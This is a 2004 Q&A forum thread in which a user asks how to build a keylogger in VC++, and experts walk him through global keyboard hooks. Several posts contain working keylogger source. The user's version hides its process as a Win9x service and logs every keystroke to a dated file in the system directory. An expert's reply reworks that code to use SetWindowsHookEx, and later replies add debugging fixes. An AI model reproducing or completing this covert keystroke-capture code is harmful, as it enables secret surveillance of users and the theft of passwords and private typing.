Solved

Capture keys w/o GetAsyncKeyState

Posted on 2004-08-02
25
1,832 Views
Last Modified: 2012-08-13
how do i make a keylogger in VC++? i made one using GetAsyncKeyState in an infinite loop, but im sure it isnt the right way to go! if u type really fast it doesnt capture the keys in the same order they're typed.
0
Comment
Question by:kurian2z5
  • 12
  • 8
  • 3
  • +1
25 Comments
 
LVL 48

Expert Comment

by:AlexFM
ID: 11691675
Install global keyboard hook (see SetWindowsHookEx with WH_KEYBOARD_LL parameter) and handle keyboard messages:

WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP

0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11691771
will try and be back, lil busy now
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11691806
ive looked it up on the msdn site but i cant quite put it together..
can u give me some example code ?
0
 
LVL 48

Expert Comment

by:AlexFM
ID: 11692109
0
 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11692881
calling GetAsyncKeyState() only gives you the information whether specified keys, e. g. VK_CTRL, VK_ALT, VK_SHIFT, currently are pressed by the user. It has nothing to do with key hooking.

If you only want to log keys entered to your dialog rather than all keystrokes you may override CWnd::PreTranslateMessage() like that:

in dialog header:

class CMyDialog : public CDialog
{
   ....
   virtual BOOL PreTranslateMessage( MSG* pMsg );
   ....
};

in dialog cpp:

  BOOL CMyDialog::PreTranslateMessage( MSG* pMsg )
  {
       switch (pMsg->message)
       {
       case WM_KEYDOWN:
             {
                  LogKeystroke(pMsg->wParam,            // contains virtual key code
                                      pMsg->lParam);             // contains keydata see below
                  break;
             }
        }    
   }


lKeyData
Value of lParam. Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag, as shown in the following table.

BitValue Description
0–15     Specifies the repeat count for the current message. The value is the number of times
            the keystroke is auto-repeated as a result of the user holding down the key. If the #
            keystroke is held long enough, multiple messages are sent. However, the repeat count
            is not cumulative.
16–23   Specifies the scan code. The value depends on the original equipment manufacturer (OEM).
24        Specifies whether the key is an extended key, such as the right-hand alt and ctrl keys that
            appear on an enhanced 101- or 102-key keyboard. The value is 1 if it is an extended key;
            otherwise, it is 0.
25–28   Reserved; do not use.
29        Specifies the context code. The value is always 0 for a WM_KEYDOWN message.
30        Specifies the previous key state. The value is 1 if the key is down before the message is sent,
            or it is 0 if the key is up.
31         Specifies the transition state. The value is always 0 for a WM_KEYDOWN message.
   

Regards, Alex

   
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11702431
ive already got  a keybd hook dll from somewhere else. i want to make mine a stand alone app.

 itsmeandnobodyelse ur code is a bit too advanced for me..im new to vc++
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11702440
i just want to know how to use SetWindowsHookEx cos it seem to be the most suitable
0
 

Expert Comment

by:denago
ID: 11759514
The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. An application installs a hook procedure to monitor the system for certain types of events. A hook procedure can monitor events associated either with a specific thread or with all threads in the system. This function supersedes the SetWindowsHook function.

HHOOK SetWindowsHookEx(

    int  idHook,      // type of hook to install
    HOOKPROC  hkprc,      // address of hook procedure
    HINSTANCE  hMod,      // handle of application instance
    DWORD  dwThreadID       // identity of thread to install hook for
   );      
Parameters

idHook

Specifies the type of hook procedure to be installed. This parameter can be one of the following values:

Value      Description
WH_CALLWNDPROC      Installs a hook procedure that monitors messages before the system sends them to the destination window procedure. For more information,  the CallWndProc hook procedure.
WH_CALLWNDPROCRET      Windows 95 only: Installs a hook procedure that monitors messages after they have been processed by the destination window procedure. For more information, see  the CallWndRetProc hook procedure.
WH_CBT      Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application. For more information, see the CBTProc hook procedure.
WH_DEBUG      Installs a hook procedure useful for debugging other hook procedures. For more information, see the DebugProc hook procedure.
WH_GETMESSAGE      Installs a hook procedure that monitors messages posted to a message queue. For more information, see the GetMsgProc hook procedure.
WH_JOURNALPLAYBACK      Installs a hook procedure that posts messages previously recorded by a WH_JOURNALRECORD hook procedure. For more information, see the JournalPlaybackProc hook procedure.
WH_JOURNALRECORD      Installs a hook procedure that records input messages posted to the system message queue. This hook is useful for recording macros. For more information, see the JournalRecordProc hook procedure.
WH_KEYBOARD      Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook procedure.
WH_MOUSE      Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.
WH_MSGFILTER      Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. For more information, see  the MessageProc hook procedure.
WH_SHELL      Installs a hook procedure that receives notifications useful to shell applications. For more information, see  the ShellProc hook procedure.
WH_SYSMSGFILTER      Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. The hook procedure monitors these messages for all applications in the system. For more information, see  the SysMsgProc hook procedure.
hkprc

Points to the hook procedure. If the dwThreadID parameter is zero or specifies the identifier of a thread created by a different process, the hkprc parameter must point to a hook procedure in a dynamic-link library (DLL). Otherwise, hkprc can point to a hook procedure in the code associated with the current process.

hMod

Identifies the DLL containing the hook procedure pointed to by the hkprc parameter. The hMod parameter must be set to NULL if the dwThreadID parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.

dwThreadID

Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads.

Return Value

If the function succeeds, the return value is the handle of the hook procedure.
If the function fails, the return value is NULL.

Remarks

An error may occur if the hMod parameter is NULL and the dwThreadId parameter is zero or specifies the identifier of a thread created by another process.
Chaining to the next hook procedure (that is, calling the CallNextHookEx function) is optional. An application or library can call the next hook procedure either before or after any processing in its own hook procedure.
Before terminating, an application must call the UnhookWindowsHookEx function to free system resources associated with the hook.

The scope of a hook depends on the hook type. Some hooks can be set only with system scope; others can also be set for only a specific thread, as shown in the following list:

Hook      Scope
WH_CALLWNDPROC      Thread or system
WH_CBT      Thread or system
WH_DEBUG      Thread or system
WH_GETMESSAGE      Thread or system
WH_JOURNALPLAYBACK      System only
WH_JOURNALRECORD      System only
WH_KEYBOARD      Thread or system
WH_MOUSE      Thread or system
WH_MSGFILTER      Thread or system
WH_SHELL      Thread or system
WH_SYSMSGFILTER      System only

For a specified hook type, thread hooks are called first, then system hooks.

The system hooks are a shared resource, and installing one affects all applications. All system hook functions must be in libraries. System hooks should be restricted to special-purpose applications or to use as a development aid during application debugging. Libraries that no longer need a hook should remove the hook procedure.
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11760907
ok once i set the hook for keyboard, how do i receive the keys that are pressed ?
0
 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11760950
The second argument of SetWindowsHookEx is the name of a callback function you have to provide. That function will be called by Wiindows whenever a key is pressed.

The callback function should be like that:

LRESULT CALLBACK CallWndProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
);
 
The wParam and lParam values are same as with WM_KEYDOWN message.

Regards, Alex
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11760964
is this a normal function i declare in my program ? so what ever my program should do with the keypress should be in this function ?
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11760998
can u give me the syntax of using the function, like

result = SetWindowsHookEx (WH_KEYBOARD,MyFunction, what goes here for hMod ? ,0);

can u give the code to set the hook and just print the key thats pressed.
0
How your wiki can always stay up-to-date

Quip doubles as a “living” wiki and a project management tool that evolves with your organization. As you finish projects in Quip, the work remains, easily accessible to all team members, new and old.
- Increase transparency
- Onboard new hires faster
- Access from mobile/offline

 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11761148
That is the syntax.
LRESULT CALLBACK CallWndProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
);

You have to put that prototype below either to the cpp file where you call SetWindowsHookEx or as a static member function to the class where you are installing the hook:

class CMyDialog
{
     ...
public:
      static HHOOK  m_hook;  // takes the hook handle returned from SetWindowsHookEx
      static LRESULT CALLBACK CallWndProc
             ( int nCode,      // hook code
               WPARAM wParam,  // current-process flag
               LPARAM lParam   // address of structure with message data
             );
     ....
};


The implementation of that function is like that

HHOOK CMyDialog::m_hook = NULL;
 
LRESULT CALLBACK CMyDialog::CallWndProc
       ( int nCode,      // hook code
         WPARAM wParam,  // current-process flag
         LPARAM lParam   // address of structure with message data
       )
{
     if (nCode >= 0)
     {
        // check wParam == key and lParam == flags
        // if you want to process the key return 1
     
     }
     // give other hooks a chance
     return CallNextHookEx(m_hook, nCode, wParam, lParam);  
}


>> what goes here for hMod

hMod is the instance handle of your windows application. You'll get it with WinMain(..) function or - if using MFC - in your application class that is derived from CWinApp.

>> dwThreadID

Could be zero if no special thread should handle all hooks.

Regards, Alex
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11764477
i dont know how to put all this in my program!!!
0
 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11764616
Are you using MFC or not?
What kind of application do you have now? Win32 Console program (has main function)? Or Win32 program (has WinMain function)?
What compiler?

Regards, Alex

BTW, keyhooking is one of the most difficult programming tasks. If you are a beginner, i doubt that you have a reasonable chance to succeed.

0
 

Assisted Solution

by:denago
denago earned 25 total points
ID: 11764630
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11772634
m using a win32 application without MFC, just simple win32 application. it added the stdafx header and the code. so i am able to make simple programs. i made a keylogger with help from some other website and it works, but it depends more on the speed of the computer to log correctly (any modern pc will do). its not the right way but its fine for me. the only problem is when u type into java applets it takes 2-3 seconds for the key to appear. its normal for anything else.

heres the code

now how do i use SetWindowsHookEx instead of GetAsyncKeyState ?

#include <stdafx.h>
#include <windows.h>
#include <winuser.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

void Win9xService(void);
void writelog(int key,char *file);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
      Win9xService();

      char dpath[16] = "";
      char syspath[255];
      unsigned int i;

      i=GetSystemDirectory(syspath,255);

      time_t tt;
      time(&tt);
      strftime( dpath, sizeof(dpath), "%d-%m-%y", localtime(&tt) );
      strcat (dpath,".txt");
      strcat (syspath,"32\\");
      strcat (syspath,dpath);

      
      while(1)
      {
            for (i=8;i<=255;i++)
            {
                  if (GetAsyncKeyState(i)==-32767)
                        writelog(i,syspath);
            }
      }


      return 0;
}

void Win9xService(void)
{
    HINSTANCE hKernel = LoadLibrary("KERNEL32.DLL");
    if (hKernel == NULL)
    {
        return;
    }

    FARPROC lpfn = GetProcAddress(hKernel, "RegisterServiceProcess");

    typedef DWORD (WINAPI * pICFUNC)(DWORD , DWORD );
    pICFUNC fpRegisterServiceProcess;

    fpRegisterServiceProcess = pICFUNC(lpfn);

    if (fpRegisterServiceProcess(GetCurrentProcessId(), 1) == 1)
    {
        return;
    }

    FreeLibrary(hKernel);

    return;
}

void writelog(int key,char *file)
{

      FILE *lhandle;
      lhandle = fopen(file,"a+");

      if (key==8)
            fprintf(lhandle,"%s","{DEL}");
      else if (key==13)
            fprintf(lhandle,"%s","{ENTER}");
      else if (key==32)
            fprintf(lhandle,"%s","{SPACE}");
      else if (key==VK_CAPITAL)
            fprintf(lhandle,"%s","{CAPS}");
      else if (key==VK_TAB)
            fprintf(lhandle,"%s","{TAB}");
      else if (key ==VK_SHIFT)
            fprintf(lhandle,"%s","{SHIFT}");
      else if (key ==VK_CONTROL)
            fprintf(lhandle,"%s","{CTRL}");
      else if (key ==18)
            fprintf(lhandle,"%s","{ALT}");
      else if (key ==VK_PAUSE)
            fprintf(lhandle,"%s","{PAUSE}");
      else if (key ==VK_ESCAPE)
            fprintf(lhandle,"%s","{ESC}");
      else if (key ==VK_END)
            fprintf(lhandle,"%s","{END}");
      else if (key ==VK_HOME)
            fprintf(lhandle,"%s","{HOME}");
      else if (key ==VK_LEFT)
            fprintf(lhandle,"%s","{LEFT}");
      else if (key ==VK_UP)
            fprintf(lhandle,"%s","{UP}");
      else if (key ==VK_RIGHT)
            fprintf(lhandle,"%s","{RIGHT}");
      else if (key ==VK_DOWN)
            fprintf(lhandle,"%s","{DOWN}");
      else if (key ==VK_SNAPSHOT)
            fprintf(lhandle,"%s","{PRINT}");
      else if (key ==VK_NUMLOCK)
            fprintf(lhandle,"%s","{NUM}");
      else if (key ==190 || key==110)
            fprintf(lhandle,"%s",".");
      else if (key >=96 && key <= 105)
      {
            key = key - 48;
            fprintf(lhandle,"%s",&key) ;
      }
      else if (key >=48 && key <= 59)
            fprintf(lhandle,"%s",&key) ;
      else if (key !=VK_LBUTTON || key !=VK_RBUTTON)
      {
            if (key >=65 && key <=90)
            {
                  key = key +32;
                  fprintf(lhandle,"%s",&key);
            }
      }

      fclose(lhandle);

}
0
 
LVL 39

Accepted Solution

by:
itsmeandnobodyelse earned 50 total points
ID: 11775690
First recommendation:

Did you check the link denago gave you? If you download the project, you got all source code you need.

It's an EXE and a DLL that do quite that what you are trying to do here. And it should work on all platforms.


Second recommendation:

Try the code below on Win98 (i didn't add Win9xService and writelog functions as i didn't changed them). It doesn't work on NT, W2K, WXP (maybe because it has no window and no message loop. The hook wasn't called only once in Debugger). But maybe it works on your platform and the service registration in W98 will help.

#include <stdafx.h>
#include <windows.h>
#include <winuser.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

void Win9xService(void);
void writelog(int key,char *file);

LRESULT CALLBACK KeyboardProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
);

HHOOK g_hook = NULL;
bool  g_stop = false;
char  g_syspath[255];


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     Win9xService();

     char dpath[16] = "";
     // char syspath[255];  // Need global variable
     unsigned int i;

     i=GetSystemDirectory(g_syspath,255);

     time_t tt;
     time(&tt);
     strftime( dpath, sizeof(dpath), "%d-%m-%y", localtime(&tt) );
     strcat (dpath,".txt");
     strcat (g_syspath,"32\\");
     strcat (g_syspath,dpath);

     g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, NULL);

     if (g_hook == NULL)
     {
         MessageBox(NULL, "SetWindowsHookEx failed. See return code for error.", "", MB_OK);
         return GetLastError();
     }

     while(1)
     {
         /*
          for (i=8;i<=255;i++)
          {
               if (GetAsyncKeyState(i)==-32767)
                    writelog(i,syspath);
          }
          */
         Sleep(10);   // 10 milliseconds
         if (g_stop)
             break;
     }


     return 0;
}  

LRESULT CALLBACK KeyboardProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
)
{
     static int        count   = 0;
     static const char quit[]  = "quit";

     if (nCode >= 0)
     {
        // check wParam == key and lParam == flags
        // if you want to process the key return 1
        writelog(wParam, g_syspath);

        // try to recognize quit code
        if (count < (sizeof(quit)-1) && (char)wParam == quit[count])
        {
            if (++count == sizeof(quit))
            {
                g_stop = true;
                count = 0;
            }
        }
        else
            count = 0;
     
     }
     // give other hooks a chance
     return CallNextHookEx(g_hook, nCode, wParam, lParam);  
}


Third recommendation: Use GetKeyboardState instead of GetAsyncKeyState. That doesn't work on NT, W2k, XP (maybe there is no window) but when - as you've said - your version above works maybe that will work also.

Replace your while(1) loop with that:

     BYTE vkeys[256];
     while(1)
     {
         GetKeyboardState(vkeys);
          for (i=8;i<=255;i++)
          {
               // check if highest bit is set
               if ((vkeys[i]&0x80)!=0)
                  writelog(i,syspath);
          }
         Sleep(1);   // 1 milliseconds wait. Should give your java applets a chance
     }

Regards, Alex












0
 

Expert Comment

by:denago
ID: 11778643
Using a method like the GetKeyboardState above you still will have the issue with losing ordering.

Check the link I posted and you'll have the full source you need.  You can then just copy & paste since that is what you are looking for anyway :D
0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11783336
denago ur code works but its really complex and hard to adapt.
no offence :D

Alex, i tried ur code with SetWindowsHookEx but whenever i press a key this debug box pops up.

-----------------------------------------------------------
Microsoft Visual C++ Debug Library                    X
-----------------------------------------------------------
Program : C:\windows\notepad.exe (or whatever the active window is)
File: fopen.c
Line: 54
Expression: *file!=_T('\0')


so i just added the sleep(1) to my while loop. (the GetKeyboardState didnt work.
vkeys[i]&0x80 was always 0)
the applet work fine now. thanx

BTW split 25 more pts for denago. ill need that code for later.
0
 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11784754
-----------------------------------------------------------
Microsoft Visual C++ Debug Library                    X
-----------------------------------------------------------
Program : C:\windows\notepad.exe (or whatever the active window is)
File: fopen.c
Line: 54
Expression: *file!=_T('\0')


Oh, i think i know what happens.

As the callback was called by other executables the callback function has no access to the global filename stored in your application.

So, you either need a constant filename or you have to buíld the filename in the KeyboardHook function using local variables (not global ones).

The Fallenhobit guy avoids that problem by using a DLL that automatically initializes the filename when called the first time.

Regards, Alex


0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11785154
so how do i do that ?
0
 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11785889
You may try that, but i doubt that static memory is BETTER than global memory. So, i still recommend to use denago's link as it uses an DLL instance that could store filename and hook handle (as i downloaded it also, i would be able to help you with that...),


#include <process.h>

#define PASS_HOOK       55555
#define PASS_FILENAME   66666


HHOOK g_hook = NULL;
char  g_syspath[256];


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     Win9xService();

     char dpath[16] = "";
     // char syspath[255];  // Need global variable
     unsigned int i;

     i=GetSystemDirectory(g_syspath,255);

     time_t tt;
     time(&tt);
     strftime( dpath, sizeof(dpath), "%d-%m-%y", localtime(&tt) );
     strcat (dpath,".txt");
     strcat (g_syspath,"32\\");
     strcat (g_syspath,dpath);

     g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstance, NULL);


     if (g_hook == NULL)
     {
         MessageBox(NULL, "SetWindowsHookEx failed. See return code for error.", "", MB_OK);
         return GetLastError();
     }

     // Now, try to pass hook and filename to callback
     KeyboardProc(PASS_HOOK,     0, (LPARAM)g_hook);
     KeyboardProc(PASS_FILENAME, 0, (LPARAM)g_syspath);

     while(1)
     {
         Sleep(10);   // 10 milliseconds
     }
     return 0;
}  



LRESULT CALLBACK KeyboardProc(
  int nCode,      // hook code
  WPARAM wParam,  // current-process flag
  LPARAM lParam   // address of structure with message data
)
{
     static HHOOK hook          = NULL;
     static char  filename[256] = { '\0' };

     if (hook == NULL && nCode == PASS_HOOK)
     {
         hook = (HHOOK)lParam;
     }
     else if (nCode == PASS_FILENAME)
     {
         char* pFile = (char*)lParam;
         strcpy(filename, pFile);
     }
     else if (nCode >= 0)
     {
        // check if static variables have been set properly
        if (hook == NULL || strlen(filename) == 0)
        {
           
            if (hook == NULL)
            {
                if (g_hook == NULL)
                // That's bad as we need that to pass the hook
                // Seems, that static variables were initialized
                // with any new application
                // We could read the value from Share Memory or File
                // but that isn't easier than the DLL solution of
                // FallenHobit
                {
                    static bool showError = true;
                    if (showError)
                    {
                        showError = false;
                        char command[512] = "echo [";
                        char exefile[256];
                        GetModuleFileName(NULL, exefile, 256);
                        strcat(command, exefile);
                        strcat(command, "], hook handle is NULL > c:\\keyhook.err");
                        system(command);
                    }
                }
                else
                    hook = g_hook;
            }
            if (filename[0] == '0')
            {
                if (g_syspath[0] == '\0')
                {
                    strcpy(filename, "c:\\keyhook.log");
                }
                else
                {
                    strcpy(filename, g_syspath);
                }

            }
        }

        // check wParam == key and lParam == flags
        // if you want to process the key return 1
        writelog(wParam, filename);

     }
     // give other hooks a chance
     return CallNextHookEx(hook, nCode, wParam, lParam);  
}


Regards, Alex

0
 
LVL 4

Author Comment

by:kurian2z5
ID: 11790425
Nope it still shows the message. the dll works but i dont want a dll. anyway never mind, as long as we got it working somehow
0
 
LVL 39

Expert Comment

by:itsmeandnobodyelse
ID: 11792084
>> but i dont want a dll.

The DLL has the advantage that it has an own instance handle (you remember the hmod parameter). So it could hold data common to all calling processes what doesn't seem possible when using a separate process.

Did you get any error message in the keyhook.err file. Or any logs in keyboard.log. Did you find out whether the hook handle copod be properly passed to the callback function or whether the file name is known with in the callback function?

You could write the hook handle and the filename to a file - say in c:\keyhook,ini . and then read it in the KeyboardProc function the very first time. Store it to static variables as i did in my last post. You also could try to use fsopen instead of fopen in writelog(). Maybe the message is because of sharing violation.

>> Expression: *file!=_T('\0')

That means that the fopen failed (file handle is NULL) . That could be because of an empty or invalid filename or because of sharing violations. Check the lhandle value in writelog() and try to write the error you got :

     #include <errno.h>
     #inlude <iostream>
     #include <fstream>


void writelog(int key,char *file)
{
     FILE *lhandle;
     lhandle = fopen(file,"a+");

      if (lhandle == NULL)
      {
            ofstream ofs("c:\\keyboard.err", ios::append | ios::out);
            if (!ofs.fail())
            {
                  ofs << "filename = " << filename  << " open error = " << errno << endl;
                  ofs.close();
                  return;
            }            
      }
 
      ....


Regards, Alex
0

Featured Post

What Is Threat Intelligence?

Threat intelligence is often discussed, but rarely understood. Starting with a precise definition, along with clear business goals, is essential.

Join & Write a Comment

Errors will happen. It is a fact of life for the programmer. How and when errors are detected have a great impact on quality and cost of a product. It is better to detect errors at compile time, when possible and practical. Errors that make their wa…
Written by John Humphreys C++ Threading and the POSIX Library This article will cover the basic information that you need to know in order to make use of the POSIX threading library available for C and C++ on UNIX and most Linux systems.   [s…
The viewer will learn how to pass data into a function in C++. This is one step further in using functions. Instead of only printing text onto the console, the function will be able to perform calculations with argumentents given by the user.
The viewer will learn how to user default arguments when defining functions. This method of defining functions will be contrasted with the non-default-argument of defining functions.

744 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

16 Experts available now in Live!

Get 1:1 Help Now